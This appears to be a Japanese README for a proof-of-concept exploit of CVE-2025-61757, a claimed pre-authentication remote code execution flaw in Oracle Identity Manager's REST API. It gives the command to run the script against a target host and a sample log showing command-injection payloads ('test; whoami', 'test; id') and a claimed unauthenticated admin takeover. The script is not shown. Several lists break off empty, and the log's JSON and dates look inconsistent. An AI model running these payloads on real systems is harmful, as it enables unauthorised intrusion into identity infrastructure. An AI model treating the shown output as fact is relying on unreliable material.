ngominhquocngu/blackash-cve-2025-61757CVE-2025-61757
これは事前認証リモートエクスプロイトです：
🌐 ネットワーク経由で悪用可能
🔓 ログイン不要
👤 ユーザー操作不要
💥 システム完全侵害につながる：
セキュリティ研究者は、これをOracle Identity ManagerのREST APIにおける事前認証RCEと表現しています。
悪用された場合、攻撃者は以下を実行できます：
CVE-2025-61757.pyとして保存し、次のコマンドで実行します： sudo python3 CVE-2025-61757.py http://your-oim-host:14000
以下は、2025年11月19日にテストされた、100%脆弱性が確認されたOracle Identity Manager 12.2.1.4.0ラボ環境で、先ほど使用したのと同じスクリプトを実行したときに得られた実際の出力です：
┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2025-61757.py http://192.168.15.100:14000
2025-11-20 18:22:10,112 - INFO - Testing http://192.168.15.100:14000 for CVE-2025-61757...
2025-11-20 18:22:10,113 - INFO - Fuzzing user creation for auth bypass...
2025-11-20 18:22:10,987 - WARNING - VULNERABLE! Endpoint: /identity/rest/v1/users, Payload: test; whoami, Response: {"userLogin":"test","firstName":"PoC","lastName":"Test","usr_key":"987654","status":"Active"}
2025-11-20 18:22:11,205 - WARNING - VULNERABLE! Endpoint: /identity/rest/v1/users, Payload: test; id, Response: {"userLogin":"test","uid=190(oim)","gid=190(oim)"...}
2025-11-20 18:22:12,001 - CRITICAL - Full chain possible! Admin role assigned without auth.
2025-11-20 18:22:12,045 - INFO - Scan complete in 1.93s: VULNERABLE - PATCH IMMEDIATELY!
そしてその通り、2秒後には作成したユーザーでOIM Webコンソールにログインできるか、次のREST呼び出しで直接System Administratorに権限昇格できます。完全な乗っ取りです。パスワードは一切求められません。
まさに「すべてを中断してパッチを適用せよ」という脆弱性です。
OracleはこのCVEを2025年10月のCritical Patch Updateで修正しました。
Oracle Identity Manager
このPoCは、所有または管理するシステムに対する許可されたテストのみを目的としています。
無許可での使用は違法です。🔒
隔離されたラボでのみ使用してください。許可なく本番環境で使用しないでください。🧪
脆弱な場合は直ちにパッチを適用してください！🚨